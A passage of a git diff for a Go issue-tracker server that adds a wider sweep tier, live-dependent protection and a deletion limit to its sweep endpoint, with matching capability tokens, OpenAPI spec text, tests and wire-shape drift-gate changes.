THIRD, wider tier: it clears the whole wisps table (ephemeral beads) AND any durable bead with no history row, in one pass. Behind the `issues.sweep.wispsPlane` behavior token: an older server answers `invalid_value` for this member, since it predates the token and knows only the first two values. type SweepRequestTier string // SweepResult What one sweep did. Every number describes the SAME snapshot, because the selection and the deletion ran in one transaction. @@ -1973,18 +2004,24 @@ type SweepResult struct { // ReferencedIds A BOUNDED SAMPLE of the ids `skipped.referenced` counts — at most 100, in the order the candidate query returned them. It is a sample, not the set: compare its length against 100 to tell a truncated one from a complete one. Absent when nothing was protected. ReferencedIds *[]string `json:"referenced_ids,omitempty"` - // Skipped The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: the first two are PROTECTIONS, and the last four are the sweep declining to trust its own input. + // Remaining How many beads this sweep's own selection left unswept because `limit` cut it off, oldest-closed-first. Always 0 when `limit` was absent, zero, or at least as large as the matching set — never a dropped count, a 0 here means nothing was left over. Present only behind the `issues.sweep.limit` behavior token. + Remaining *int64 `json:"remaining,omitempty"` + + // Skipped The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, and the other four are the sweep declining to trust its own input. Skipped SweepSkips `json:"skipped"` // Swept How many beads were deleted, or under `dry_run` would be. Swept int `json:"swept"` } -// SweepSkips The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: the first two are PROTECTIONS, and the last four are the sweep declining to trust its own input. +// SweepSkips The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, and the other four are the sweep declining to trust its own input. type SweepSkips struct { // ClosedAtOrAfterCutoff Candidates whose close timestamp did not satisfy `closed_before`. See `not_closed`. ClosedAtOrAfterCutoff int `json:"closed_at_or_after_cutoff"` + // LiveDependent Candidates protected by `protect_live_dependents`. Always 0 when that member is false or absent. Present only behind the `issues.sweep.liveDependents` behavior token. + LiveDependent *int `json:"live_dependent,omitempty"` + // NotClosed Candidates the tier query returned that the recheck found were not closed. A NON-ZERO VALUE HERE IS A DEFENSE FIRING, not a normal outcome: the query asked for exactly the beads this excludes. NotClosed int `json:"not_closed"` diff --git a/internal/httpapi/routes.go b/internal/httpapi/routes.go index 0aa93b109..2dbd4f291 100644 --- a/internal/httpapi/routes.go +++ b/internal/httpapi/routes.go @@ -119,6 +119,36 @@ const CapIssuesListSort = "issues.list.sort" // count. const CapIssuesCountScope = "issues.count.scope" +// CapIssuesSweepWispsPlane is the behavior capability that advertises the +// `wisps-plane` value of SweepRequest.tier (sweep.go, spec SweepRequest.tier): +// a third, wider tier that clears the whole wisps table plus any durable bead +// with no history row, in one pass (issueops.SweepWispsPlane). An older +// server predating this token answers the value with a `400 +// invalid_argument`/`invalid_value` naming the member, the same per-value +// refusal CapIssuesCountScope's doc describes for a whole parameter. The +// client MUST check this token before sending `tier: "wisps-plane"` to a +// server that may predate it. +const CapIssuesSweepWispsPlane = "issues.sweep.wispsPlane" + +// CapIssuesSweepLiveDependents is the behavior capability that advertises +// SweepRequest.protect_live_dependents and the paired SweepSkips.live_dependent +// response member (sweep.go): skip a closed candidate a live bead still +// depends on, transitively, across the ephemeral/durable plane boundary +// (issueops.SweepRequest.ProtectLiveDependents). An older server predating +// this token answers the request member with `400 +// invalid_argument`/`unknown_parameter`. The client MUST check this token +// before sending the member to a server that may predate it. +const CapIssuesSweepLiveDependents = "issues.sweep.liveDependents" + +// CapIssuesSweepLimit is the behavior capability that advertises +// SweepRequest.limit and the paired SweepResult.remaining response member +// (sweep.go): cap how many beads one sweep deletes, oldest-closed-first +// (issueops.SweepRequest.Limit / SweepResult.Remaining). An older server +// predating this token answers the request member with `400 +// invalid_argument`/`unknown_parameter`. The client MUST check this token +// before sending the member to a server that may predate it. +const CapIssuesSweepLimit = "issues.sweep.limit" + // customMethodTarget splits the custom method off the segment the router // matched, and reports the row that claims it. // @@ -866,7 +896,10 @@ func (r route) specPathOf() string { // route. project.enforce announces per-request Bd-Project-Id enforcement // (checkProjectStamp): a stamped client reads it to know the refusal is available // rather than silently dropped by an older server. -var behaviorCapabilities = []string{CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope} +var behaviorCapabilities = []string{ + CapProjectEnforce, CapBatchApplyLarge, CapIssuesListSort, CapIssuesCountScope, + CapIssuesSweepWispsPlane, CapIssuesSweepLiveDependents, CapIssuesSweepLimit, +} // Capabilities lists what this build advertises in ContextResponse.capabilities: // the operations it actually implements, gated on `implemented` so a stub can diff --git a/internal/httpapi/server_test.go b/internal/httpapi/server_test.go index 291c7fdf2..514190e91 100644 --- a/internal/httpapi/server_test.go +++ b/internal/httpapi/server_test.go @@ -635,7 +635,8 @@ func TestCapabilitiesAdvertiseEveryImplementedOperation(t *testing.T) { // them; project.enforce and issues.batchApplyLarge are advertised in the // same list. Both are spelled literally here to keep this an independent // oracle rather than a second call to the code under test. - want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope") + want = append(want, "project.enforce", "issues.batchApplyLarge", "issues.list.sort", "issues.count.scope", + "issues.sweep.wispsPlane", "issues.sweep.liveDependents", "issues.sweep.limit") slices.Sort(want) if !slices.Equal(got, want) { t.Errorf("capabilities = %v, want %v", got, want) diff --git a/internal/httpapi/spec/openapi.v0.yaml b/internal/httpapi/spec/openapi.v0.yaml index ba3404224..784f24f22 100644 --- a/internal/httpapi/spec/openapi.v0.yaml +++ b/internal/httpapi/spec/openapi.v0.yaml @@ -7962,7 +7962,16 @@ components: `issues.count.scope`, which announces that `GET /v0/beads/issues:count` accepts `parent`, `no_parent`, `exclude_type`, and `exclude_status` (see those parameters) rather - than silently answering `unknown_parameter` for all four. The + than silently answering `unknown_parameter` for all four, + `issues.sweep.wispsPlane`, which announces that + `POST /v0/beads/issues:sweep` accepts the `wisps-plane` value of + `tier` rather than silently answering `invalid_value`, + `issues.sweep.liveDependents`, which announces that the same + operation accepts `protect_live_dependents` and answers + `skipped.live_dependent` rather than silently answering + `unknown_parameter`, and `issues.sweep.limit`, which announces + that it accepts `limit` and answers `remaining` rather than + silently answering `unknown_parameter`. The list grows additively, and an operation never appears here unless it is fully implemented. This is how a client checks for an operation or a behavior — never the version string. @@ -8011,7 +8020,25 @@ components: had moved underneath it. That silent gap is the whole reason this field exists. * `2` — the first release whose `ContextResponse` carries - `wire_revision` and `min_client_wire_revision` at all (this one). + `wire_revision` and `min_client_wire_revision` at all. Still + current: S4 widened `SweepRequest.tier`'s enum to add + `wisps-plane` and added `protect_live_dependents` and `limit` + alongside it, and none of the three bumped this counter. + `SweepRequest` is a REQUEST-body-only schema — no response ever + carries it — so nothing decodes it out of a server reply; the + new enum member and the two new fields are each something only + an UPDATED CLIENT chooses to send, behind their own behavior + tokens (`issues.sweep.wispsPlane`, `issues.sweep.liveDependents`, + `issues.sweep.limit`). An old client that never sends any of the + three has nothing to misdecode, which is exactly the additive + case this field exists to NOT gate. The wireshape drift gate + (`internal/httpapi/wireshape`) tracks, per member, whether it is + reachable from a request body, a response, or both, and treats + an enum WIDENING as additive only on a request-only member — + the identical widening on a response-side (or request+response) + member still counts as changed and still demands a bump, since + an existing client decoding a response must keep recognizing + every value the server might send it. PRESENCE, not just value: a generated client whose JSON decoder @@ -8506,13 +8533,20 @@ components: properties: tier: type: string - enum: [ephemeral, durable] + enum: [ephemeral, durable, wisps-plane] description: >- Which plane to clear. `ephemeral` is the wisp tier (`bd purge`) and `durable` is the issue tier (`bd prune`). The two are DISJOINT: a sweep of one can never touch a bead of the other. Required, with no default — a caller handed the wrong tier has nothing to notice until the beads are gone. + + + `wisps-plane` is a THIRD, wider tier: it clears the whole wisps + table (ephemeral beads) AND any durable bead with no history row, + in one pass. Behind the `issues.sweep.wispsPlane` behavior token: + an older server answers `invalid_value` for this member, since it + predates the token and knows only the first two values. actor: type: string minLength: 1 @@ -8574,6 +8608,25 @@ components: skips and the refusals are the same ones the real sweep would produce, computed against the same snapshot — and nothing is recorded in history either. + protect_live_dependents: + type: boolean + default: false + description: >- + Skip a closed candidate that a LIVE (not-done) bead depends on + through a parent/child, tracks, or blocks edge, so closing a + dependent's dependency does not erase the row a live bead still + points at. Protection is TRANSITIVE and crosses the ephemeral/durable + plane boundary. Behind the `issues.sweep.liveDependents` behavior + token: an older server answers `unknown_parameter` for this name. + limit: + type: integer + format: int64 + description: >- + Cap how many beads this sweep deletes, OLDEST-CLOSED-FIRST. Absent + or zero means unbounded. A negative value is a `400` + invalid_argument, the same as the role's own ErrValidation. Behind + the `issues.sweep.limit` behavior token: an older server answers + `unknown_parameter` for this name. SweepResult: type: object @@ -8620,6 +8673,15 @@ components: protected. items: type: string + remaining: + type: integer + format: int64 + description: >- + How many beads this sweep's own selection left unswept because + `limit` cut it off, oldest-closed-first. Always 0 when `limit` was + absent, zero, or at least as large as the matching set — never a + dropped count, a 0 here means nothing was left over. Present only + behind the `issues.sweep.limit` behavior token. SweepSkips: type: object @@ -8633,8 +8695,8 @@ components: description: >- The candidates a sweep declined to delete, bucketed by WHY. They are separate counters rather than one number because they mean different - things: the first two are PROTECTIONS, and the last four are the sweep - declining to trust its own input. + things: `pinned`, `referenced` and `live_dependent` are PROTECTIONS, + and the other four are the sweep declining to trust its own input. properties: pinned: type: integer @@ -8667,6 +8729,12 @@ components: description: >- Rows the tier query returned as nothing at all. A defense of the same kind, on a shape rather than a value. + live_dependent: + type: integer + description: >- + Candidates protected by `protect_live_dependents`. Always 0 when + that member is false or absent. Present only behind the + `issues.sweep.liveDependents` behavior token. ReadyPage: type: object diff --git a/internal/httpapi/sweep.go b/internal/httpapi/sweep.go index e8f9b32fe..2683f8358 100644 --- a/internal/httpapi/sweep.go +++ b/internal/httpapi/sweep.go @@ -18,12 +18,14 @@ import ( // sharper reason: a narrowing term the server silently ignored would widen // what is erased. const ( - sweepTierMember = "tier" - sweepActorMember = "actor" - sweepClosedBeforeMember = "closed_before" - sweepPatternMember = "pattern" - sweepProtectReferencedMember = "protect_referenced" - sweepDryRunMember = "dry_run" + sweepTierMember = "tier" + sweepActorMember = "actor" + sweepClosedBeforeMember = "closed_before" + sweepPatternMember = "pattern" + sweepProtectReferencedMember = "protect_referenced" + sweepDryRunMember = "dry_run" + sweepProtectLiveDependentsMember = "protect_live_dependents" + sweepLimitMember = "limit" ) // sweepMembers is the whole vocabulary, in one place, so the unknown-member @@ -36,6 +38,8 @@ var sweepMembers = []string{ sweepPatternMember, sweepProtectReferencedMember, sweepDryRunMember, + sweepProtectLiveDependentsMember, + sweepLimitMember, } // handleSweep answers POST /v0/beads/issues:sweep — one of the two DESTRUCTIVE @@ -51,7 +55,7 @@ var sweepMembers = []string{ // would be one handler away from an unguarded mass delete. // // Everything above the role here is argument validation: the media type, the -// body shape, and the six members the document publishes. +// body shape, and the eight members the document publishes. // // NO ACTOR IS INFERRED, for the reason the claim gives: the server's own // identity is meaningless to a remote caller. Unlike the claim, the actor is @@ -148,7 +152,7 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. // name the member. if !apigen.SweepRequestTier(*tier).Valid() { s.fail(w, r, InvalidArgument(sweepTierMember, ReasonInvalidValue, - "`"+sweepTierMember+"` must be \"ephemeral\" or \"durable\"")) + "`"+sweepTierMember+"` must be \"ephemeral\", \"durable\", or \"wisps-plane\"")) return issueops.SweepRequest{}, false } request.Tier = issueops.SweepTier(*tier) @@ -200,6 +204,7 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. }{ {sweepProtectReferencedMember, &request.ProtectReferenced}, {sweepDryRunMember, &request.DryRun}, + {sweepProtectLiveDependentsMember, &request.ProtectLiveDependents}, } { raw, ok := members[flag.member] if !ok { @@ -214,6 +219,20 @@ func (s *Server) sweepRequest(w http.ResponseWriter, r *http.Request) (issueops. *flag.dest = *value } + if raw, ok := members[sweepLimitMember]; ok { + var value *int64 + if err := json.Unmarshal(raw, &value); err != nil || value == nil { + s.fail(w, r, InvalidArgument(sweepLimitMember, ReasonInvalidValue, + "`"+sweepLimitMember+"` must be an integer")) + return issueops.SweepRequest{}, false + } + // A negative value is NOT refused here. The role refuses it + // (issueops.ErrValidation), and routing it through the role is what + // keeps one definition of what a valid limit is, the same way a + // malformed pattern is left to the role above. + request.Limit = int(*value) + } + return request, true } @@ -267,8 +286,11 @@ func sweepResponse(result issueops.SweepResult) apigen.SweepResult { UnknownClosedAt: result.Skipped.UnknownClosedAt, ClosedAtOrAfterCutoff: result.Skipped.ClosedAtOrAfterCutoff, Unreadable: result.Skipped.Unreadable, + LiveDependent: &result.Skipped.LiveDependent, }, } + remaining := int64(result.Remaining) + body.Remaining = &remaining if len(result.ReferencedIDs) > 0 { ids := append([]string(nil), result.ReferencedIDs...) body.ReferencedIds = &ids diff --git a/internal/httpapi/sweep_test.go b/internal/httpapi/sweep_test.go index 925a22ab2..61312665e 100644 --- a/internal/httpapi/sweep_test.go +++ b/internal/httpapi/sweep_test.go @@ -11,7 +11,7 @@ import ( ) // The pins for POST /v0/beads/issues:sweep. What is asserted here is the WIRE -// EDGE — that the handler decodes the document's six members into the role's +// EDGE — that the handler decodes the document's eight members into the role's // request faithfully, refuses what the document refuses, and does not // re-implement anything the role owns. @@ -42,7 +42,7 @@ func TestSweepPathReachesItsHandler(t *testing.T) { } // TestSweepForwardsEveryDocumentedMember is the operation's central pin: each -// of the six body members reaches the role's request unchanged. +// of the eight body members reaches the role's request unchanged. // // It is asserted on the REQUEST the role received rather than on the response: // a body carrying the right numbers says nothing about which set was swept, and @@ -57,7 +57,9 @@ func TestSweepForwardsEveryDocumentedMember(t *testing.T) { "closed_before": "2026-03-01T12:00:00Z", "pattern": "bd-old-*", "protect_referenced": true, - "dry_run": true + "dry_run": true, + "protect_live_dependents": true, + "limit": 25 }`) if resp.StatusCode != http.StatusOK { t.Fatalf("status = %d, want 200: %s", resp.StatusCode, readAll(t, resp)) @@ -72,10 +74,12 @@ func TestSweepForwardsEveryDocumentedMember(t *testing.T) { Tier: issueops.SweepDurable, // TRIMMED, by the same rule and the same function the claim's actor // goes through: it reaches the same commit-message interpolation. - Actor: "alice", - IDPattern: "bd-old-*", - ProtectReferenced: true, - DryRun: true, + Actor: "alice", + IDPattern: "bd-old-*", + ProtectReferenced: true, + DryRun: true, + ProtectLiveDependents: true, + Limit: 25, } cutoff := time.Date(2026, 3, 1, 12, 0, 0, 0, time.UTC) want.ClosedBefore = &cutoff @@ -149,7 +153,9 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { Skipped: issueops.SweepSkips{ Pinned: 1, Referenced: 2, NotClosed: 3, UnknownClosedAt: 4, ClosedAtOrAfterCutoff: 5, Unreadable: 6, + LiveDependent: 8, }, + Remaining: 13, ReferencedIDs: []string{"bd-1", "bd-2"}, }} ts := newTestServer(t, rolesConfig(Config{Sweeper: sweeper})) @@ -169,6 +175,7 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { {"dependencies", float64(3)}, {"labels", float64(2)}, {"events", float64(11)}, + {"remaining", float64(13)}, } { if body[want.key] != want.val { t.Errorf("%s = %v, want %v", want.key, body[want.key], want.val) @@ -182,6 +189,7 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { for key, want := range map[string]float64{ "pinned": 1, "referenced": 2, "not_closed": 3, "unknown_closed_at": 4, "closed_at_or_after_cutoff": 5, "unreadable": 6, + "live_dependent": 8, } { if skipped[key] != want { t.Errorf("skipped.%s = %v, want %v", key, skipped[key], want) @@ -194,6 +202,56 @@ func TestSweepPublishesTheWholeResult(t *testing.T) { } } +// TestSweepResponseCarriesEveryRoleField is the guard sweepResponse's comment +// names, the sweep twin of TestDeleteResponseCarriesEveryRoleField. It counts +// fields at both levels the projection copies — the result and its skip +// buckets — and then projects a result with every role field set, so a wire +// field the projection leaves zero or nil fails as well as a field added to +// one side and not the other. +func TestSweepResponseCarriesEveryRoleField(t *testing.T) { + full := issueops.SweepResult{ + DryRun: true, Swept: 1, Dependencies: 2, Labels: 3, Events: 4, + Skipped: issueops.SweepSkips{ + Pinned: 5, Referenced: 6, LiveDependent: 7, NotClosed: 8, + UnknownClosedAt: 9, ClosedAtOrAfterCutoff: 10, Unreadable: 11, + }, + Remaining: 12, + ReferencedIDs: []string{"bd-1"}, + } + body := sweepResponse(full) + + for _, level := range []struct{ role, wire any }{ + {full, body}, + {full.Skipped, body.Skipped}, + } { + role, wire := reflect.TypeOf(level.role), reflect.TypeOf(level.wire) + if role.NumField() != wire.NumField() { + t.Errorf("%v has %d fields and %v has %d: a field was added to one and not projected onto the "+ + "other (see sweepResponse)", role, role.NumField(), wire, wire.NumField()) + } + } + requireEveryFieldSet(t, reflect.ValueOf(body), "SweepResult") +} + +// requireEveryFieldSet fails for each field of the struct v, followed through +// pointers and into nested structs, that still holds its zero value. +func requireEveryFieldSet(t *testing.T, v reflect.Value, path string) { + t.Helper() + for i := range v.NumField() { + field, name := v.Field(i), path+"."+v.Type().Field(i).Name + if field.Kind() == reflect.Pointer && !field.IsNil() { + field = field.Elem() + } + if field.Kind() == reflect.Struct { + requireEveryFieldSet(t, field, name) + continue + } + if field.IsZero() { + t.Errorf("%s is unset although every role field was set: sweepResponse does not project it", name) + } + } +} + // TestSweepOmitsAnEmptyReferencedSample: the member is documented ABSENT when // nothing was protected, so a client can tell "nothing cited" from "the // protection was not asked for" without a second field. @@ -229,6 +287,9 @@ func TestSweepRefusesTheDocumentedBodies(t *testing.T) { {"pattern is not a string", `{"tier":"ephemeral","pattern":true}`, "pattern"}, {"dry_run is not a boolean", `{"tier":"ephemeral","dry_run":"yes"}`, "dry_run"}, {"protect_referenced is not a boolean", `{"tier":"ephemeral","protect_referenced":1}`, "protect_referenced"}, + {"protect_live_dependents is not a boolean", `{"tier":"ephemeral","protect_live_dependents":"yes"}`, "protect_live_dependents"}, + {"limit is not an integer", `{"tier":"ephemeral","limit":2.5}`, "limit"}, + {"limit is null", `{"tier":"ephemeral","limit":null}`, "limit"}, } { t.Run(test.name, func(t *testing.T) { sweeper := &roleSweeper{} diff --git a/internal/httpapi/wireshape/testdata/golden.json b/internal/httpapi/wireshape/testdata/golden.json index 19f8d2791..1dccd173c 100644 --- a/internal/httpapi/wireshape/testdata/golden.json +++ b/internal/httpapi/wireshape/testdata/golden.json @@ -4181,12 +4181,25 @@ "type": "boolean", "required": false }, + { + "schema": "SweepRequest", + "member": "limit", + "type": "integer", + "format": "int64", + "required": false + }, { "schema": "SweepRequest", "member": "pattern", "type": "string", "required": false }, + { + "schema": "SweepRequest", + "member": "protect_live_dependents", + "type": "boolean", + "required": false + }, { "schema": "SweepRequest", "member": "protect_referenced", @@ -4199,7 +4212,8 @@ "type": "string", "enum": [ "durable", - "ephemeral" + "ephemeral", + "wisps-plane" ], "required": true }, @@ -4234,6 +4248,13 @@ "required": false, "item_type": "string" }, + { + "schema": "SweepResult", + "member": "remaining", + "type": "integer", + "format": "int64", + "required": false + }, { "schema": "SweepResult", "member": "skipped", @@ -4252,6 +4273,12 @@ "type": "integer", "required": true }, + { + "schema": "SweepSkips", + "member": "live_dependent", + "type": "integer", + "required": false + }, { "schema": "SweepSkips", "member": "not_closed", @@ -5971,5 +5998,146 @@ "style": "form", "explode": true } - ] + ], + "sides": { + "AddCommentRequest": "request", + "AddDependenciesRequest": "request", + "AddDependenciesResponse": "response", + "AnchorEdgeCount": "response", + "ApplyBatchRequest": "request", + "ApplyBatchResponse": "response", + "ApplyBatchResponse.keys": "response", + "ApplyBatchResponse.keys{}": "response", + "ApplyCloseItem": "request", + "ApplyCreateItem": "request", + "ApplyCreateItem.labels[]": "request", + "ApplyCreateItem.metadata_refs": "request", + "ApplyDepAddItem": "request", + "ApplyItem": "request", + "ApplyItemResult": "response", + "ApplyLabelPatch": "request", + "ApplyLabelPatch.add[]": "request", + "ApplyLabelPatch.remove[]": "request", + "ApplyLabelPatch.replace[]": "request", + "ApplyMetadataPatch": "request", + "ApplyMetadataPatch.set": "request", + "ApplyMetadataPatch.unset[]": "request", + "ApplyPatchBody": "request", + "ApplyUpdateItem": "request", + "BatchCloseItem": "request", + "BatchCloseRequest": "request", + "BatchCloseResponse": "response", + "BatchCreateDependency": "request", + "BatchCreateItem": "request", + "BatchCreateItem.labels[]": "request", + "BatchCreateRequest": "request", + "BatchCreateResponse": "response", + "BatchGetIssue": "response", + "BatchGetIssue.labels[]": "response", + "BatchGetIssue.metadata": "response", + "BatchGetIssue.waiters[]": "response", + "BatchGetIssuesRequest": "request", + "BatchGetIssuesRequest.ids[]": "request", + "BatchGetIssuesResult": "response", + "BatchGetIssuesResult.missing[]": "response", + "Blocker": "response", + "BlockingAnnotations": "response", + "BondRef": "response", + "ClaimNextRequest": "request", + "ClaimNextResponse": "response", + "ClaimRequest": "request", + "ClaimResponse": "response", + "CloseIssueRequest": "request", + "CloseIssueResponse": "response", + "CloseOutcome": "response", + "Comment": "response", + "CompareAndSetMetadataRequest": "request", + "CompareAndSetMetadataResponse": "response", + "ContextResponse": "response", + "ContextResponse.capabilities[]": "response", + "CreateIssueDependency": "request", + "CreateIssueRequest": "request", + "CreateIssueRequest.labels[]": "request", + "CreateIssueWaitsFor": "request", + "Cycle": "response", + "CycleMember": "response", + "CyclesPage": "response", + "DeleteIssuesRequest": "request", + "DeleteIssuesRequest.ids[]": "request", + "DeleteIssuesResult": "response", + "DeleteIssuesResult.orphaned[]": "response", + "Dependency": "response", + "DependencyEdge": "both", + "DependencyEdges": "response", + "DependencyEdges.missing[]": "response", + "DependencyTreePage": "response", + "EdgeCounts": "response", + "EventRecord": "response", + "EventRecord.comment": "response", + "EventRecord.dep": "response", + "EventRecord.issue": "response", + "EventsPage": "response", + "Health": "response", + "Issue": "response", + "Issue.labels[]": "response", + "Issue.metadata": "response", + "Issue.waiters[]": "response", + "IssueBlocking": "response", + "IssueBlocking.blocked_by[]": "response", + "IssueBlocking.blocks[]": "response", + "IssueCount": "response", + "IssueCount.groups": "response", + "IssueCount.groups{}": "response", + "IssueDetails": "response", + "IssueDetails.gated_by[]": "response", + "IssueDetails.labels[]": "response", + "IssueDetails.metadata": "response", + "IssueDetails.waiters[]": "response", + "IssuePatchBody": "request", + "IssuePatchBody.add_labels[]": "request", + "IssuePatchBody.labels[]": "request", + "IssuePatchBody.remove_labels[]": "request", + "IssueWithCounts": "response", + "IssueWithCounts.labels[]": "response", + "IssueWithCounts.metadata": "response", + "IssueWithCounts.waiters[]": "response", + "IssueWithDependencyMetadata": "response", + "IssueWithDependencyMetadata.labels[]": "response", + "IssueWithDependencyMetadata.metadata": "response", + "IssueWithDependencyMetadata.waiters[]": "response", + "IssuesPage": "response", + "MemoriesPage": "response", + "Memory": "response", + "MetadataValue": "request", + "Problem": "response", + "QueryPage": "response", + "ReadyCount": "response", + "ReadyPage": "response", + "Ref": "request", + "RelatedIssues": "response", + "ReleaseIssueRequest": "request", + "ReleaseIssueResponse": "response", + "RememberRequest": "request", + "RememberedMemory": "response", + "RemoveDependencyRequest": "request", + "RemoveDependencyResponse": "response", + "RemovedSetting": "response", + "ReopenIssueRequest": "request", + "ReopenIssueResponse": "response", + "SetSettingRequest": "request", + "Setting": "response", + "SettingsPage": "response", + "Statistics": "response", + "StatsResponse": "response", + "SweepRequest": "request", + "SweepResult": "response", + "SweepResult.referenced_ids[]": "response", + "SweepSkips": "response", + "TreeNode": "response", + "TreeNode.labels[]": "response", + "TreeNode.metadata": "response", + "TreeNode.waiters[]": "response", + "UpdateIssueRequest": "request", + "UpdateIssueResponse": "response" + } } diff --git a/internal/httpapi/wireshape/wireshape.go b/internal/httpapi/wireshape/wireshape.go index f778424f0..310a4a294 100644 --- a/internal/httpapi/wireshape/wireshape.go +++ b/internal/httpapi/wireshape/wireshape.go @@ -98,19 +98,35 @@ func paramKey(operationID, in, name string) (schema, member string) { } // Digest is the golden document: the wire revision it was computed against, -// plus every member entry, sorted for a stable diff. +// every member entry (sorted for a stable diff), and Sides — a side-channel +// map from schema name to "request", "response" or "both", recording which +// kind of body (if any) ever reaches that NAMED schema during the walk. +// +// Sides is deliberately NOT a field on Entry itself: Entry is the shape the +// golden pins per member, and giving every member its own copy of the same +// per-SCHEMA fact would turn "we now also track reachability" into a +// spurious Changed diff on every existing entry the day this shipped, which +// is exactly the noise a real, deliberate wire change is supposed to stand +// out from. Keeping it a separate, schema-keyed map makes adding this +// bookkeeping itself a pure addition to the digest. type Digest struct { - WireRevision int `json:"wire_revision"` - Entries []Entry `json:"entries"` + WireRevision int `json:"wire_revision"` + Entries []Entry `json:"entries"` + Sides map[string]string `json:"sides,omitempty"` } // CompareResult is the outcome of diffing two digests by "schema\x00member" -// key: Changed holds keys present in both whose Entry differs, Removed holds -// keys only want has, and Added holds keys only got has. +// key: Changed holds keys present in both whose Entry differs non-additively, +// Removed holds keys only want has, Added holds keys only got has, and +// Widened holds keys present in both whose ONLY difference is a request-only +// enum strictly widening (see widensAdditively) — additive, like Added, but +// kept in its own bucket so a reader can tell "this key is new" apart from +// "this key's enum grew" at a glance. type CompareResult struct { Changed []string Removed []string Added []string + Widened []string } // Compare diffs want (typically the committed golden) against got (typically @@ -135,6 +151,10 @@ func Compare(want, got Digest) CompareResult { continue } if !reflect.DeepEqual(w, g) { + if widensAdditively(w, g, want.Sides[w.Schema], got.Sides[g.Schema]) { + result.Widened = append(result.Widened, key) + continue + } result.Changed = append(result.Changed, key) } } @@ -146,9 +166,51 @@ func Compare(want, got Digest) CompareResult { sort.Strings(result.Changed) sort.Strings(result.Removed) sort.Strings(result.Added) + sort.Strings(result.Widened) return result } +// widensAdditively reports whether old -> new differs ONLY in Enum, with +// new's Enum a strict superset of old's, and oldSide/newSide (the entry's +// Schema looked up in each Digest's Sides map) both exactly "request". That +// combination is additive, not a wire break: a request-only member is never +// decoded out of a response, so the CLIENT alone decides whether it sends +// one of the new values — an old client that never sends the new member +// never has anything to misdecode. Any other difference (type, format, +// required, nullable, item/additional-props shape, or an enum NARROWING or +// reordering-with-removal) is excluded here and falls through to the +// ordinary non-additive Changed path, as does the identical widening on a +// "response" or "both" (or unknown/param, "") side, where an existing client +// decoding a response must still recognize every value the server might +// send. An old side with NO enum at all (a free-form string) is the limit +// case of a narrowing — going from unconstrained to any fixed set is a new +// restriction the server did not enforce before, not a widening — so it is +// excluded too: len(old.Enum) == 0 falls through to Changed just like a +// strict narrowing does. +func widensAdditively(old, new Entry, oldSide, newSide string) bool { //nolint:revive // "new" reads clearest paired with "old" here + if oldSide != sideRequest || newSide != sideRequest { + return false + } + oldNoEnum, newNoEnum := old, new + oldNoEnum.Enum, newNoEnum.Enum = nil, nil + if !reflect.DeepEqual(oldNoEnum, newNoEnum) { + return false + } + if len(old.Enum) == 0 || len(new.Enum) <= len(old.Enum) { + return false + } + newSet := make(map[string]bool, len(new.Enum)) + for _, v := range new.Enum { + newSet[v] = true + } + for _, v := range old.Enum { + if !newSet[v] { + return false + } + } + return true +} + // SafeToWrite is gendigest's write guard (review MEDIUM: "refuse to write // changed or removed entries unless CurrentWireRevision is higher than the // golden's recorded revision. Additive entries are allowed."). A pure @@ -218,7 +280,7 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { return Digest{}, fmt.Errorf("parse openapi document: %w", err) } - c := &collector{doc: doc, visited: map[string]bool{}, byKey: map[string]Entry{}} + c := &collector{doc: doc, sideWalked: map[string]bool{}, byKey: map[string]Entry{}, sideOf: map[string]string{}} paths, _ := doc["paths"].(map[string]any) for _, item := range paths { @@ -242,12 +304,12 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { continue } respMap = c.resolveAny(respMap) - c.walkContent(respMap) + c.walkContent(respMap, sideResponse) } if rb, ok := op["requestBody"].(map[string]any); ok { rb = c.resolveAny(rb) - c.walkContent(rb) + c.walkContent(rb, sideRequest) } operationID := asString(op["operationId"]) @@ -272,14 +334,30 @@ func computeFrom(document []byte, wireRevision int) (Digest, error) { } return entries[i].Member < entries[j].Member }) - return Digest{WireRevision: wireRevision, Entries: entries}, nil + return Digest{WireRevision: wireRevision, Entries: entries, Sides: c.sideOf}, nil } +// sideRequest and sideResponse are the two values recordSide ever writes +// directly into Digest.Sides (keyed by schema name, not by Entry); an +// unrecorded schema — a parameter's container, or any schema this walk never +// reaches — simply has no key, which Compare's map lookup reads as "" and +// widensAdditively then treats as ineligible, the same as sideResponse. +const ( + sideRequest = "request" + sideResponse = "response" + // sideBoth marks a schema reached from both a request and a response + // walk — recordSide promotes to it the moment the two disagree, and it is + // never eligible for the enum-widening carve-out any more than + // sideResponse is. + sideBoth = "both" +) + // walkContent walks every media type's schema under a resolved response or -// requestBody node's `content` map. Shared by Compute's response and request -// body loops: a response object and a resolved requestBody object are both -// shaped `{content: {mediaType: {schema: ...}}}`. -func (c *collector) walkContent(node map[string]any) { +// requestBody node's `content` map, tagging every schema it reaches in +// Digest.Sides (via walk's recordSide calls). Shared by Compute's response +// and request body loops: a response object and a resolved requestBody +// object are both shaped `{content: {mediaType: {schema: ...}}}`. +func (c *collector) walkContent(node map[string]any, side string) { content, _ := node["content"].(map[string]any) for _, rawMedia := range content { media, ok := rawMedia.(map[string]any) @@ -290,7 +368,7 @@ func (c *collector) walkContent(node map[string]any) { if !ok { continue } - c.walk(schemaNode, "") + c.walk(schemaNode, "", side) } } @@ -375,9 +453,34 @@ func defaultParamStyle(in string) string { } type collector struct { - doc map[string]any - visited map[string]bool - byKey map[string]Entry // "schema\x00member" -> Entry + doc map[string]any + // sideWalked guards recursion into a named (or synthetically labeled) + // node's properties, keyed by "name\x00side" rather than by name alone + // (see walk's doc comment for why: name alone let a node visited first + // from one side block the OTHER side's walk from ever reaching that + // node's children). + sideWalked 